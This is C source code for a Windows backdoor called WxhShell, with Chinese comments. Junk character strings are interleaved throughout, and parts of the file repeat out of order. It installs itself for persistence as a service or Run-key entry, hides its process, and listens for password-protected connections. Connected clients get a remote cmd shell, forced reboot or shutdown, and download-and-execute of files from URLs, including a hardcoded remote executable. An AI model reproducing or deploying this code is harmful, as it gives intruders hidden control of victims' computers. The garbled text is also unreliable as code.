e?|d9;BO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~>lOl/n 5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &%@/Dwr NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RT1{+:l [9'|7fdU if (!NtQueryInformationProcess) return 0; -Cg`x=G;z @263)`9G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9@JlaY)0 if(!hProcess) return 0; "K/[[wX\b +?ws !LgF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U;^CU!a j0Id!o CloseHandle(hProcess); nYo&x' A&xab hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tj`tLYOZ@- if(hProcess==NULL) return 0; ]:[)KZ~ v#{G8'+% HMODULE hMod; ^U R-#WaQ char procName[255]; B:B0p+$I
unsigned long cbNeeded; nD^{Q[E6= kq-mr if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g|_HcaW z0EjIYI[N CloseHandle(hProcess); #p']-No r _{)?B if(strstr(procName,"services")) return 1; // 以服务启动 j=`y
@~ qiF@7i return 0; // 注册表启动 V.O<|tl. } "it`X
B. UwvGr h // 主模块 *##QXyyg int StartWxhshell(LPSTR lpCmdLine) *C[4 (DmB { k^L#,:\&V SOCKET wsl; GLbc/qs BOOL val=TRUE; Gsx^j? int port=0; >eYU$/80 struct sockaddr_in door; U^vUdM" tg4LE?nv if(wscfg.ws_autoins) Install(); F5:2TEA T)$6H}[c port=atoi(lpCmdLine); Z1XUYe62 R !:eYoQ if(port<=0) port=wscfg.ws_port; OqAh4qa,$ tuL\7
(R WSADATA data;
hg<"Yg= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yf0vR%,\ E#IiyZ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N>W;0u! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7C,<iY door.sin_family = AF_INET; r{;VTQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~*,Ddwr0a door.sin_port = htons(port); ]j%*"V DctX9U( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x9FLr}e closesocket(wsl); ?0 KiR? return 1; E7d~# } 48*Oh2BA Gd]5xl
HRU if(listen(wsl,2) == INVALID_SOCKET) { #U\&i` closesocket(wsl); Huc3|~9 return 1; _RA{SO } yBXkN&1=%; Wxhshell(wsl); =|j*VF 2y" WSACleanup(); (6b?ir ~ !3b|*].B return 0; nm{'HH-4 \FY/eQ*07 } +R{A'Yl[( yH0yO*RZ // 以NT服务方式启动 E.zYi7YUKK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XZUB*P}]D { /h}wM6pg DWORD status = 0; , u8ZS|9 DWORD specificError = 0xfffffff; >S-N|uR6 t
wa(M? serviceStatus.dwServiceType = SERVICE_WIN32; S20 nk.x serviceStatus.dwCurrentState = SERVICE_START_PENDING; '/gxjr& serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #'G7mAoA serviceStatus.dwWin32ExitCode = 0; &UJTy' serviceStatus.dwServiceSpecificExitCode = 0; &k%wOz1vM serviceStatus.dwCheckPoint = 0; 2ZTyo7P serviceStatus.dwWaitHint = 0; #Of<1 #2ZrdD"5kQ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;:8jxkx6% if (hServiceStatusHandle==0) return; Eb4< 26A
Xv?
S status = GetLastError(); $w";*">:0 if (status!=NO_ERROR) 1%]{0P0?[ { }5fI*v serviceStatus.dwCurrentState = SERVICE_STOPPED; )Bm^aMVl3 serviceStatus.dwCheckPoint = 0; f//j{P[ serviceStatus.dwWaitHint = 0; oJ4mxi@|# serviceStatus.dwWin32ExitCode = status; ';fU.uy serviceStatus.dwServiceSpecificExitCode = specificError; "R\\\I7u SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Yf)lV&[ return; dctA`W@:- } ~,M;+T}[r Q9 x` Uy serviceStatus.dwCurrentState = SERVICE_RUNNING; M Z|c7f&` serviceStatus.dwCheckPoint = 0; jiw`i serviceStatus.dwWaitHint = 0; R"8})a
gw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~,`\D7Z3 } YDZ1@N}^B L&3Ar' // 处理NT服务事件,比如:启动、停止 CwH)6uA VOID WINAPI NTServiceHandler(DWORD fdwControl) O) =73e\ { |~=?vw<W switch(fdwControl) nCSd:1DY { U#FJ8CD&u case SERVICE_CONTROL_STOP: 2\iD;Z#gM serviceStatus.dwWin32ExitCode = 0; {_k!!p6 serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Da^Jv k serviceStatus.dwCheckPoint = 0; Tg{dIh.Q~O serviceStatus.dwWaitHint = 0; n)wpxR { #IL~0t SetServiceStatus(hServiceStatusHandle, &serviceStatus); )n3biQL_ } 4%c7#AX[T return; J4K|KS7
case SERVICE_CONTROL_PAUSE: Is*0?9qU serviceStatus.dwCurrentState = SERVICE_PAUSED; ;03*qOYc break; ]mJAKycE% case SERVICE_CONTROL_CONTINUE: 8en#PH } serviceStatus.dwCurrentState = SERVICE_RUNNING; 6wvhvMkS break; ,uqbS case SERVICE_CONTROL_INTERROGATE: +=29y@c break; Tr}$Pb1 }; NNREt:+kr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g^<q L| } ay7+H7^|hZ *{D:1S // 标准应用程序主函数 !tFU9Zt int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V"Y
Fu^L { |0vHy7CE [#3Cg%V // 获取操作系统版本 E6wST@r OsIsNt=GetOsVer(); @u'27c_<d3 GetModuleFileName(NULL,ExeFile,MAX_PATH); /iJcy:J 37M[9m|D* // 从命令行安装 \SH D if(strpbrk(lpCmdLine,"iI")) Install(); KSpC%_LC :0TSOT9. // 下载执行文件 )1tnZ=& if(wscfg.ws_downexe) { 3K'o&>}L if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) me}Gb a WinExec(wscfg.ws_filenam,SW_HIDE); dO4U9{+ } c_8 mQ ;HLMU36q if(!OsIsNt) { <J_,9&\J // 如果时win9x,隐藏进程并且设置为注册表启动 77=y!SDP HideProc(); Y[8co<p StartWxhshell(lpCmdLine); efAahH } XtH_+W+O else +/_B/[e<> if(StartFromService()) 8Q)mmkI\= // 以服务方式启动 da86Jj=k StartServiceCtrlDispatcher(DispatchTable); $nd-[xV else {]_{BcK+ // 普通方式启动 cI4qgV StartWxhshell(lpCmdLine); Z=/L6Zb |~"A:gf return 0; 'r?HL;,q } MFdFZkpiV eJ)KE5%n# 9Nbg@5( TAXkfj =========================================== |9i/)LRXe Z_4H2HseL LXEu^F~{u# 0 c'2rx
s?\9i6 fOjt` ~ToI " $q@RHcj )eGu4iEPM #include <stdio.h> 02c.;ka3 #include <string.h> [Jh))DIx #include <windows.h> `R=_t]ie #include <winsock2.h> Vi-!E #include <winsvc.h> AYQh=$)( #include <urlmon.h> CH_Dat> h*X%:UbW #pragma comment (lib, "Ws2_32.lib") p 2f
WL #pragma comment (lib, "urlmon.lib") =`.5b:e `q{'_\gVt( #define MAX_USER 100 // 最大客户端连接数 rxK[CDM, #define BUF_SOCK 200 // sock buffer d~f0]O #define KEY_BUFF 255 // 输入 buffer 9qO:K79| BMsy}08dQ #define REBOOT 0 // 重启 YHv,Z|.w #define SHUTDOWN 1 // 关机 MVU'GHv iO= uXN1g #define DEF_PORT 5000 // 监听端口 qxCL 2d J)4 #define REG_LEN 16 // 注册表键长度 `r0
qn'* #define SVC_LEN 80 // NT服务名长度 n7!Lwq2 % |Gzht\ // 从dll定义API X|lmH{kf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \U => typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d.(]V2X.J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >U
Ich typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )^2jsy
-/ g<0%-p // wxhshell配置信息 LFM5W&? struct WSCFG { (IQ L`3f% int ws_port; // 监听端口 %Bu n@ char ws_passstr[REG_LEN]; // 口令 VqT[ca\ int ws_autoins; // 安装标记, 1=yes 0=no 52R.L9Ai char ws_regname[REG_LEN]; // 注册表键名 RuEnr7gi char ws_svcname[REG_LEN]; // 服务名 Dq1XZ%8 char ws_svcdisp[SVC_LEN]; // 服务显示名 %1d6j<7 char ws_svcdesc[SVC_LEN]; // 服务描述信息 hnLgsz char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7}7C0mV3 int ws_downexe; // 下载执行标记, 1=yes 0=no `,]PM)iC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]qG5Ne_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vh3iu+ <yaw9k+P }; IG@&l0ARL k.f:nv5JO // default Wxhshell configuration iP\&fZY_ struct WSCFG wscfg={DEF_PORT, I8wVvs;k "xuhuanlingzhe", E6\~/=X=% 1, [?o vJ "Wxhshell", @9P9U`ZP "Wxhshell", )s[S.`STz "WxhShell Service", H4",r5qw: "Wrsky Windows CmdShell Service", y/*Tvb #TJ "Please Input Your Password: ", =@/^1.` 1, [*E.G~IS` "http://www.wrsky.com/wxhshell.exe", wbKBwI5w "Wxhshell.exe" !x /Z" }; bH]!~[ @MH]s [{o\ // 消息定义模块 Z 2jMBe char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -.3k
vL char *msg_ws_prompt="\n\r? for help\n\r#>"; D_kzR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XQ y|t"Vq> char *msg_ws_ext="\n\rExit."; *G"#.YvE char *msg_ws_end="\n\rQuit."; Y-k~ 7{7 char *msg_ws_boot="\n\rReboot..."; MM$"6Jor char *msg_ws_poff="\n\rShutdown...";
:@'0)7 char *msg_ws_down="\n\rSave to "; qCT\rZU _( /lBf{| char *msg_ws_err="\n\rErr!"; gxtbu$ char *msg_ws_ok="\n\rOK!"; $ =a$z" +W[#;)ea( char ExeFile[MAX_PATH]; :u+#:8u int nUser = 0; JT_B@TO\ HANDLE handles[MAX_USER]; 9uoj3Rh< int OsIsNt; B>21A9& 5!fW&OiY SERVICE_STATUS serviceStatus; vyy\^nL SERVICE_STATUS_HANDLE hServiceStatusHandle; ITPpT JNCtsfd // 函数声明 w:(7fu= int Install(void); -zkL)<7 int Uninstall(void); ``CADiM:S int DownloadFile(char *sURL, SOCKET wsh); vK~KeZ\,p= int Boot(int flag); 4?uG> ;V void HideProc(void); wA&)y>n- int GetOsVer(void); Y\S^DJy int Wxhshell(SOCKET wsl); iFchD\E*o void TalkWithClient(void *cs); UHHKI)( int CmdShell(SOCKET sock); .[s82c]]6 int StartFromService(void); Tz~ftf int StartWxhshell(LPSTR lpCmdLine); +>({pHZ<S mQuaO#
I, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qn&^.e9I VOID WINAPI NTServiceHandler( DWORD fdwControl ); z3LPR:&Z xM,(|p( // 数据结构和表定义 ;g9:0,xT4 SERVICE_TABLE_ENTRY DispatchTable[] = bd;f@)X { <OB~60h" {wscfg.ws_svcname, NTServiceMain}, > PA,72e {NULL, NULL} ?MB nnyo6 }; sUMn
(@r ^C
T}i' // 自我安装 e:occT int Install(void) &cE,9o%FZ { a}hM}U! char svExeFile[MAX_PATH]; izo
$0 HKEY key; jo#F& strcpy(svExeFile,ExeFile); Uwa1)Lwn (j"MsCwE // 如果是win9x系统,修改注册表设为自启动 5aQg^f%\ if(!OsIsNt) { k] YGD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W}3vY] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); feHAZ.8rp+ RegCloseKey(key); yBKlp08J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d69VgLg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l]&)an RegCloseKey(key); ;wB3H return 0; T0jJp7O } ~cwwB{ } pdq h'+5 } mr.DP~O:9p else { _"`h~jB f
d5~'2 // 如果是NT以上系统,安装为系统服务 6>J#M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _gh7_P^H=d if (schSCManager!=0) 3/05ee;| { Bk<P~-I SC_HANDLE schService = CreateService 4VgDN(n0@ ( P^-9?uBno schSCManager, #IDCCD^1= wscfg.ws_svcname, ^123.Ru|t wscfg.ws_svcdisp, $vz%
SERVICE_ALL_ACCESS, ^Yz05\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZZ7U^#RT SERVICE_AUTO_START, e vuP4-[y SERVICE_ERROR_NORMAL, =<xbE;,0 svExeFile, k=_@1b- NULL, W -&5
v NULL, _Oq\YQb v NULL, ~V)E:( NULL, ;_\P;s NULL p60D{UzU ); V;(LeuDH| if (schService!=0) #CmBgxg+M { pT tX[CE CloseServiceHandle(schService); XvY-C CloseServiceHandle(schSCManager); c-d}E!C: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w.H+$=aK strcat(svExeFile,wscfg.ws_svcname); Jmx}r,j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |e>-v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pM3BBF% RegCloseKey(key); 2oLa`33c1 return 0; X3yr6J[ ^ } gG>>ynn } = ;d<Ikj CloseServiceHandle(schSCManager); ba13^;fm# } H=C;g)R } P+h&tXZn8 67?5Cv return 1; G]CY3xw98 } H;1}Nvvd ;\N*iN#K // 自我卸载 P_U-R%f int Uninstall(void) d9"4m>ymS { $}fA;BP HKEY key; ev $eM 5>Q)8`@E if(!OsIsNt) { u7d]%<~'$F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {,=,0NQKn RegDeleteValue(key,wscfg.ws_regname); `>Cx!sYhV RegCloseKey(key); >^&+,*tsS4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r8rR _M{P RegDeleteValue(key,wscfg.ws_regname); oV`sCr5% RegCloseKey(key); \Z':hw return 0; se[};t: } m@YLZ } r;z A ` } "RLb wm~ else { -wB AFr o*_ D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5mU_S\)4:z if (schSCManager!=0) ^> fs { Q1z04m1_y[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yhaYlYv[_3 if (schService!=0) c+=&5=i[3 { WmA578|l! if(DeleteService(schService)!=0) { VM[8w` CloseServiceHandle(schService); ]_s]Q_+E CloseServiceHandle(schSCManager); sXu]k#I^" return 0; KXJHb{? } k&b>-QP6 CloseServiceHandle(schService); ~
4aaJ0 } Lg1Usy% CloseServiceHandle(schSCManager); ,tZwXP{ } )c/]
8KU } @_{"ho $4&Ql return 1; `c(@WK4 } N!AFsWV !T*izMX} // 从指定url下载文件 4rm/+Zes int DownloadFile(char *sURL, SOCKET wsh) s6B@:9 { Ty=}A MMyE HRESULT hr; kbY@Y,:w char seps[]= "/"; [C$ 0HW char *token; #_d%hr~d char *file; }1V&(#H2 char myURL[MAX_PATH]; $dR%8@.H char myFILE[MAX_PATH]; XebCl{HHp uT1x\Rt|e strcpy(myURL,sURL); {%
P;O ?
token=strtok(myURL,seps); YdFC YSiS while(token!=NULL) z2V!u\It { D)5wGp file=token; VI?[8@*Z token=strtok(NULL,seps); -Q;
w4@ } {-xnBx zF PSk] GetCurrentDirectory(MAX_PATH,myFILE); L$g;^@j strcat(myFILE, "\\"); pfT7 strcat(myFILE, file); (I$hw"%& send(wsh,myFILE,strlen(myFILE),0); AF@C9s send(wsh,"...",3,0); 6XP>p$- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tVO x if(hr==S_OK) $[Fk>d return 0; .NKN2 else 4:.M*Dz return 1; /SiQw7yp% L|<Mtw } {'1,JwSmb <6@Db$- // 系统电源模块 9g7T~|P int Boot(int flag) %^S1 fUwT { zSu2B6YU} HANDLE hToken; 6R25Xfm_| TOKEN_PRIVILEGES tkp; ?g'l/xuRe 2,+H;Ypi! if(OsIsNt) { 7P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <t8}) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GB#7w82 tkp.PrivilegeCount = 1; d^7<l_u~ ! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !Ej<J&e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rh=h{O if(flag==REBOOT) { {?8rvAjY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?^dyQhb return 0; 9:1ZL_yf } z8oSh t`+ else { ;.iy{&$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5q\]] LV> return 0; %\A~w3 E } ?1YK-T@ } Q8_d]V=X: else { Q-\: u~ if(flag==REBOOT) { uZfo[_g0S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j0J6ySlY return 0; 8=d9*lm } WDcjj1`l
else { ~Y{K^:wN^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !>M: G:K return 0; d/MMPge3 } ){v nmJJ% } PH6uP] 2'D2>^os return 1; j9%=^ZoQj } {'/8{dS HxjhP( // win9x进程隐藏模块 ~sOAm void HideProc(void) BwR)--75 { IMj{n.y4 NOvN8.K% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .A E(D7d6 if ( hKernel != NULL ) Yv>% 5` { =dPrG=A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |g~.]2az ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nk[ixVc FreeLibrary(hKernel); zJPzI{-w| } Ta_#Rg*! T!8,R{V]4 return; *cf#:5Nl } z;T?2~g! Gd!y,n&s // 获取操作系统版本 @>:r'Fmu- int GetOsVer(void) -{HA+ YL H { 4oJ0,u OSVERSIONINFO winfo; FbF P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %
_ N-:.S GetVersionEx(&winfo); `On%1%k8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jVr:O` return 1; =m UtBD.; else A," u~6Bn return 0; cY5h6+ _ } <%!EI@N {Wt=NI?Ow // 客户端句柄模块 7"1M3P5*8 int Wxhshell(SOCKET wsl) Gx!Y
4Q}- { o<Q~pd#Ip, SOCKET wsh; Wh,p$|vL struct sockaddr_in client; `rvS(p[s DWORD myID; {q:6;yzxl HUZI7rC[=) while(nUser<MAX_USER) L+&$/1h] { zpJQ7hym int nSize=sizeof(client); Zv-#v wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q.*k
J/L if(wsh==INVALID_SOCKET) return 1; _G@)Bj^* [:Sl^ Z&6M handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -GH>12YP if(handles[nUser]==0) :U=*@p4? closesocket(wsh); dW6sA65<Y else 04o(05K nUser++; *4]}_ .rG# } I=0`xF|4K- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D/v?nW NSZ9M%7 return 0; W;Ct[Y8m } $/K<hT_ ? g}G#j // 关闭 socket ,VI2dNst\ void CloseIt(SOCKET wsh) 6YNd;,it>p { L\aG.\ closesocket(wsh); }gete'I nUser--; r[K%8Y8` ExitThread(0); W|4:3c4 } R10R,*6> vr"O9L
w // 客户端请求句柄 0tK(:9S void TalkWithClient(void *cs) xcty { <m'W{n%Pp 4S5U|n SOCKET wsh=(SOCKET)cs; ,?S1e# char pwd[SVC_LEN]; +87|gC7B char cmd[KEY_BUFF]; ''tCtG"
Xi char chr[1]; >4
VN1^ int i,j; 8u6*;*o
Z/RSZ- while (nUser < MAX_USER) { s^#B* #ozui-u> if(wscfg.ws_passstr) { n&1q* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NYw>Z>TD8c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g=n{G@ *N //ZeroMemory(pwd,KEY_BUFF); ^M0 i=0; ]jjHIFX while(i<SVC_LEN) { zc K`hS {u~JR(C: // 设置超时 GCZx-zD~> fd_set FdRead; 9eBD)tnw struct timeval TimeOut; >P@g].Q- FD_ZERO(&FdRead); a5caryZ"z FD_SET(wsh,&FdRead); r'8qZJgm TimeOut.tv_sec=8; HAwdu1$8 TimeOut.tv_usec=0; 5X&Y~w,poU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2u Zb2O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _0}u0fk Ogv9_X8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >e>%AMzo[ pwd=chr[0]; 7vTzY%v if(chr[0]==0xd || chr[0]==0xa) { AO,
o|,#4F pwd=0; S#kYPe break; s@zO`uBc } (1 (~r"4I i++; 7>"dc+Fg } /g$G
G9 L>L IN 1A // 如果是非法用户,关闭 socket iYD5~pK8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sKCYGt$ } hi`[ 0 30LT$&! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .+A)^A send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ _!LTpp D6-R>"} while(1) { P?p]sLrP 1*" 7q9x ZeroMemory(cmd,KEY_BUFF); F/ x2}' JR8|!Of@B // 自动支持客户端 telnet标准 'i',M+0>jC j=0; S/"G=^~ while(j<KEY_BUFF) { <?s@-mpgN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]~2iducB, cmd[j]=chr[0]; )xq=V if(chr[0]==0xa || chr[0]==0xd) { v*[UG^+) cmd[j]=0; 47N,jVt4 break; O uNPD q% } ?r0rY? j++; `WIZY33V } , #=TputM 9#TD1B/ // 下载文件 @R%*; )*F if(strstr(cmd,"http://")) { tn#cVB3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); fLnwA|n= if(DownloadFile(cmd,wsh)) O}>@G send(wsh,msg_ws_err,strlen(msg_ws_err),0); /poGhB1k else |.VSw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^s6}[LDW>@ } d(|q&b: else { ^3[_4av v^ "qr?3V switch(cmd[0]) { BBM[Fy37!} ,`JYFh M // 帮助 sC.b'1P case '?': { $TfB72 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (?m{G Q break; 2TUV9Z } & XmaGtt // 安装 f";pfu_FZ case 'i': { [I=|"Ic~ if(Install()) H1f='k]SZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); w i[9RD@ else i,h 30J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ULqI]k( break; 4d\^ } cef[T(> // 卸载 +N=HI1^54R case 'r': { "]#Ij6ml if(Uninstall()) hH 5}%/vF send(wsh,msg_ws_err,strlen(msg_ws_err),0); o`QNZN7/} else x(._?5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )w0x{_ break; & ?x R } g!R7CRt% // 显示 wxhshell 所在路径 n1J u=C case 'p': { kh9'W<tE char svExeFile[MAX_PATH]; u Jqv@GFv strcpy(svExeFile,"\n\r"); o>_})WM1[ strcat(svExeFile,ExeFile); nm@h5ON_ send(wsh,svExeFile,strlen(svExeFile),0); z3y{0<3 break; (B>/LsTu }
'g!T${ // 重启 #h?IoB7 case 'b': { `*Yw-HL send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UB.1xcI if(Boot(REBOOT)) UxL*I[z5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5X20/+aT else { HwHF8#D*l closesocket(wsh); O;~e^ <* ExitThread(0); }3^m>i*8 }
*[{j'7*cc break; sSh{.XuB+3 } &1$d`>fn // 关机 r|EN 5 case 'd': { R3~,&ab send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B:Ts_9* if(Boot(SHUTDOWN)) J-hJqR*;K send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jqj!k*=/ else { g%&E~V/g$ closesocket(wsh); >E>yA d ExitThread(0); HEBeJ2w } q7X#LY k break; 6N#hN)/ } oT-gZedW( // 获取shell BB6[(Z case 's': { ^O18\a CmdShell(wsh); I.n,TJoz4J closesocket(wsh); xvV";o ExitThread(0); {4D`VfX_ break; i)?7+<X } =#2c
r:1 // 退出 ;cXw;$&D case 'x': { Bn7uKa{P send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6nZ]y&$G-k CloseIt(wsh); Ipk;Nq break; S MWXP } nF@**,C Q // 离开 @|\9<S case 'q': { R9U{r.AA send(wsh,msg_ws_end,strlen(msg_ws_end),0); #7i*Diqf9 closesocket(wsh); )i~AXBt} WSACleanup(); iApq!u, exit(1); &Q3Fgj break; lI<jYd
0fZ } GGp.u@\r } uzBQK } sp,-JZD Zz0bd473k? // 提示信息 FJ_7<4ET if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <y@vv } M7TLQqaF } F_Y]>,U fB8, )& return; #7]Jz.S } ,U~A=bsa g'7E6n"!, // shell模块句柄 +>"s)R43 int CmdShell(SOCKET sock) 1,-C*T}nR { ye(b 7CX STARTUPINFO si; jr=9.=jI8k ZeroMemory(&si,sizeof(si)); &DLWlMGq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dH y9
wU si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aKDY_D PROCESS_INFORMATION ProcessInfo; B*Tn@t W char cmdline[]="cmd"; )[ V8YiyU CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fw 0m(7 return 0; 50cVS)hG6d } '^UHY[mX8 .d<K` .O; // 自身启动模式 tF:AnNp= int StartFromService(void) o-\h;aQJ { YvJFZ_faX typedef struct lq-KM8j { WXy8<?s DWORD ExitStatus; ~*HQPp?v DWORD PebBaseAddress; w"j>^#8 DWORD AffinityMask; |V a:*3u DWORD BasePriority; ~CNB3r5R ULONG UniqueProcessId; @G4Z ULONG InheritedFromUniqueProcessId; ], lLDUZ\ } PROCESS_BASIC_INFORMATION; C%z)D1- #`VAw ) eV PROCNTQSIP NtQueryInformationProcess; ;z'&$#pA 8ymdg\I+L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BJjic% V static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B[N]=V ~/L:$ HANDLE hProcess; (!*
l+} PROCESS_BASIC_INFORMATION pbi; *ERV\/ _4by3?<c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J :O!4gI if(NULL == hInst ) return 0; cYA:k Xdn&%5rI g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tgF~5
o}? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U#z"t&o=L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
0t7N yKU i!a!qE.1 if (!NtQueryInformationProcess) return 0; `NIb?/!f Rw?w7?I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )]fsl_Yq if(!hProcess) return 0; 3Bl|~K;- Z>g72I%X if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "V[j&B)P Ok!P~2J CloseHandle(hProcess); L]=]/>jQ6 YK/? mj1x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ji/`OS-iq if(hProcess==NULL) return 0; }F>RIjj v3DK0 MW HMODULE hMod; 2u]G]:ml char procName[255]; j9fBl:Fr unsigned long cbNeeded; o@)Fy51DD ^T&{ORWz if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 